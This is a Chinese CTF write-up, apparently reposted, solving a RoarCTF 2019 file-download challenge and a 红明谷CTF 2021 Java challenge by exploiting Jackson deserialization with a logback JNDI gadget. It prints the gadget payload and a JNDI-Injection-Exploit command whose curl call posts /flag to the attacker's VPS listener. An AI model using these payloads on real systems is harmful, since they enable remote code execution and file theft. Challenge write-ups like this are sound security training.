Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)相关的知识,希望对你有一定的参考价值。
文章目录
[RoarCTF 2019]Easy Java
存在文件下载,尝试去读 WEB-INF/web.xml,get 传参发现一直失败
在 burp 中改为 post 传参,可以正常下载文件
只要再去读 class 文件即可
成功下载 class 放到 idea 中,拿到 flag
[红明谷CTF 2021]JavaWeb
题目提示 /login 目录,访问提示 /json
访问 /json 跳回到 /login,并且带了 jsessionid
/login;jsessionid=6B838B383F8E912A5536F55CABDEE4BE
尝试在 cookie 中加上 rememberMe=1
回显的 rememberMe=deleteMe 很明显的 shiro 特征,不会了看其他师傅的 wp
shiro 利用思路
- 反序列化
- 权限绕过
其他师傅的思路
看了赵今师傅的 wp 用 burp 照着复现竟然失败,是请求中夹杂了其他请求头
于是用 postman 去发包
也就是请求中去到其他的请求头即可,经测试去掉 accept 头后,数据正常
在返回 json 数据中,可以看到 jackson 字样
"exception":"com.fasterxml.jackson.core.JsonParseException",
尝试 jsckson 反序列化
1.首先测试漏洞是否存在
["ch.qos.logback.core.db.JNDIConnectionSource","jndiLocation":"rmi://ip:port/test"]
证明此处确实存在漏洞
2.利用 jndi 工具拿到 flag
https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI* -C 'curl http://vps ip:nc port/ -d @/flag'
执行命令工具会开启 ldap 和 rmi 的服务,可以根据 jdk 选择合适的 url,注意防火墙开启对应端口,我这里用 rmi 1099 端口,同时开启 nc 监听对应端口
注意:上图 ip 为 vps 内网 ip,真正要用的是公网 ip 替换一下即可
参考:
以上是关于Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF-[红明谷CTF 2021]write_shell